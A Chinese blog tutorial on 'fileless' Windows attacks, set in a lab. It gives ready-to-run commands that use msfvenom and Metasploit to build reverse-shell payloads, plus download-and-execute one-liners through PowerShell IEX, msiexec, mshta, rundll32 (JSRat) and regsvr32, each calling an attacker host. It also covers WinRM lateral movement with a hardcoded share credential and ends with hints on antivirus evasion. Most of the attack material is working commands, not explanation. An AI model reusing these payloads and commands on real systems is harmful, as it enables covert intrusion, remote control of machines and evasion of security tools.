无文件落地攻击

文章前言

所谓的"无文件落地攻击"是指恶意程序文件不直接落地到目标系统的磁盘空间中的一种攻击手法,常用于逃避传统的安全检测机制,本篇文章将就此进行简要介绍几种目前比较流行的无文件落地攻击手法。

常见技巧
powershell

PowerShell 是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的shell不同,PowerShell 构建在 .NET 公共语言运行时(CLR)的基础之上,接受并返回.NET 对象,这一根本上的改变引入了全新的自动化工具和方法。

PowerShell cmdlet旨在处理对象,对象是结构化信息,不仅仅是屏幕上出现的字符串,命令输出会始终包含你在需要时可使用的额外信息,如果以前使用过文本处理工具来处理数据,那么在PowerShell中使用时,会发现它们的行为有所不同,在大多数情况下,不需要文本或文本处理工具来提取特定信息,可以使用标准PowerShell对象语法直接访问数据的各部分。

Powershell的强大功能一方面为Windows平台开发人员提供了便捷性,但同时也为安全研究人员打开了一条新的道路,下面我们简单的介绍一下如何通过powershell来实现无文件落地攻击,具体的步骤如下:

Step 1:使用Msfvenom生成一个攻击载荷


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f psh-reflection >shell.ps1

Step 2:在msf中启动监听

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.174.129
LHOST => 192.168.174.129
set LPORT 4444
set ExitOnSession false
exploit -j -z

Step 3:使用python启动一个简易的Web服务器用于托管shell.exe


python2 -m SimpleHTTPServer 1234

Step 4:之后在目标主机中使用powershell执行以下命令,实现无文件落地攻击

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.129:1234/shell.ps1'))"

Step 5:之后再web服务器中收到一条请求记录

Step 6:在MSF端成功收到反弹的shell

msiexec

msiexec.exe属于系统进程,是Windows Installer的一部分,用于安装Windows Installer安装包(MSI),对系统的正常运行非常重要,一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大,我们亦可以使用其作为无文件落地的媒介,下面举例说明:

Step 1:使用Msfvenom构造一个恶意的msi程序


msfvenom -p windows/exec CMD="powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.174.129 -p 6666 -e cmd" -f msi > evil.msi

Step 2:使用python开启一个简易的web服务器用于托管msi载荷

Step 3:在攻击主机上使用nc监听端口

nc -lvp 6666

Step 4:在目标主机中执行以下命令实现无文件落地执行载荷

msiexec /q /i http://192.168.174.129:1234/evil.msi

Step 5:之后再web端成功接收到请求记录,同时在NC端返回cmd命令交互

mshta

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,从而实现无文件落地攻击,下面是具体的步骤:

Step 1:使用msf的exploit/windows/misc/hta_server模块进行测试

Step 2:在目标主机上直接执行以下命令实现无文件落地攻击

mshta.exe http://192.168.174.129:8888/OqD8kxY2Z.hta

rundll32

Rundll32.exe,即"执行32位的DLL文件",它是一个Microsoft二进制文件,其主要功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件",这两个是病毒软件制作者的最爱,也是在以往病毒分析报告中出现最多的应用媒介,Rundll32.exe的使用方法如下:

Rundll32.exe DLLname,Functionname Arguments

参数说明:

DLLname:需要执行的DLL文件名Functionname:需要执行的DLL文件的具体引出函数Arguments:函数的具体参数

下面我们就Rundll32.exe在无文件落地攻击中的利用方式进行介绍,具体方法如下(至于进程隐藏有兴趣的可以自我查找一番):   Step 1:运行JSRat监听本地5678端口

./JSRat.py -i 192.168.174.129 -p 5678

Step 2:访问client comand连接客户端执行命令

Step 3:将上述命令复制到目标主机上执行

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.129:5678/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Step 4:成功反弹shell回来

regsvr32

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,WinXP及以上系统的regsvr32.exe在windows\system32文件夹下,2000系统的regsvr32.exe在winnt\system32文件夹下,我们可以通过该命令来实现无文件落地攻击,和上面类似这里也借助JSRat来实现,首先我们在本地运行JSRat监听本地5678端口:

Step 1:运行JSRat监听本地5678端口

./JSRat.py -i 192.168.174.129 -p 5678

Step 2:访问client comand连接客户端执行命令

Step 3:将上述命令复制到目标主机上执行

regsvr32.exe /u /n /s /i:http://192.168.174.129:5678/file.sct scrobj.dll

Step 4:成功反弹shell回来

知识拓展

这里介绍一种在内网中常用的无文件落地攻击方法——WinRM无文件落地攻击!!!

WinRM

WinRM是Windows Remote Managementd的缩写,是一种允许管理员远程执行系统管理任务的服务,通信通过http(5985)或https soap(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证,在内网渗透中不仅可以用于横向移动,也可以用于无文件落地攻击提升自我的隐匿性。

测试环境
  • 域内主机:Windows Server 2012(192.168.174.2)

  • 域内主机:Windows Server 2008 R2(192.168.174.4)

  • 攻击主机:Kali Linux(192.168.174.129,这里省去了内网穿透)

实验目的

在Kali主机中通过MSF框架创建后门文件,之后将其传送到我们已经控制的域内主机(windows server 2008 R2)中,之后在另一域内主机Windows Server 2012中通过WinRM实施无文件攻击,最终返回一个新的具备较高隐藏度的Windows Sever 2012的shell给我们的攻击主机,以供对内网进行深入拓展和利用

攻击步骤

Step 1:在攻击主机中通过msfvenom创建后门文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f exe >shell.exe

Step 2:启动MSF框架并设置监听

Step 3:将shell.exe文件传送到Windows Server 2008 R2的c盘

Step 4:开启Windows Server 2012中的WinRM

winrm quickconfig

Step 5:之后在Windows Server 2012中尝试通过IPC$链接Windows Server 2008 R2

net use \\192.168.174.4\ipc$ "test@1233" /user:testuser

Step 6:之后开启Windows Server 2008 R2中的文件共享权限

Step 7:在Windows Server 2012中执行以下命令来实现无文件落地攻击

winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.174.4\c\shell.exe"}

Step 8:成功反弹shell到MSF中

文末小结

无文件落地攻击的方法与技巧多种多样,自然不局限与上面的几种,当然有时候如果要真的提高自身的隐匿程度以及实现免杀等技术时可以结合白名单以及一些Windows系统应用文件的特性,例如通过Windows Defender自带的命令执行工具"MpCmdRun.exe"来实现远程下载恶意文件并执行达到CS上线的目的,更多的方法与技巧尽在探索中......

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值